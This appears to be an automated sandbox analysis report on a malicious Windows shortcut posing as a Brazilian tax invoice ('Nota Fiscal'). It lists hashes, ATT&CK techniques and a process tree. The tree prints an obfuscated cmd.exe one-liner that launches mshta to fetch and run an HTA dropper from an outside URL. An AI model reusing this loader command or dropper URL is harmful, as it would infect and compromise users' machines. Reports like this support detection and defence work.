3e4e8e6765d73db570b85d5cadf8e5f19166ccd78a91b67ec0c878f075077c78

Analysis

max time kernel
58s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/08/2026, 01:03

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General

Target
Nota_Fiscal--OJ1WVQ.lnk
Size 1KB
Sample260823-bep2zagh92
SHA256 3e4e8e6765d73db570b85d5cadf8e5f19166ccd78a91b67ec0c878f075077c78
MD5 a97ce19e2e67927ac189959d041b410e
SHA1 44caf64a065861f4be155e615ff811131ee5c9dc
SHA512 c1df37cdb12e125255bd1c94db7c56484f4d02f650633294e78d8f28087f32a34fc00ec3cf079b04029bcd6adc94c9d9a5125e7b1fad8f66783a93f35167f40e
TLSH
T1723197103EFD0650F2B38F76847B572089BABC568D218B1D0040464C1022A01E57AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.nfe-online.com/h/estagio1.php?r=391C7CE85D88

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4160	cmd.exe
880	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 880 wrote to memory of 4160	880	cmd.exe	87
PID 4160 wrote to memory of 4092	4160	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Nota_Fiscal--OJ1WVQ.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:880
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set Hnw=msh&&set OZ=ta&&start "" !Hnw!!OZ! https://doc.nfe-online.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\System32\mshta.exe
    mshta https://doc.nfe-online.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    PID:4092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads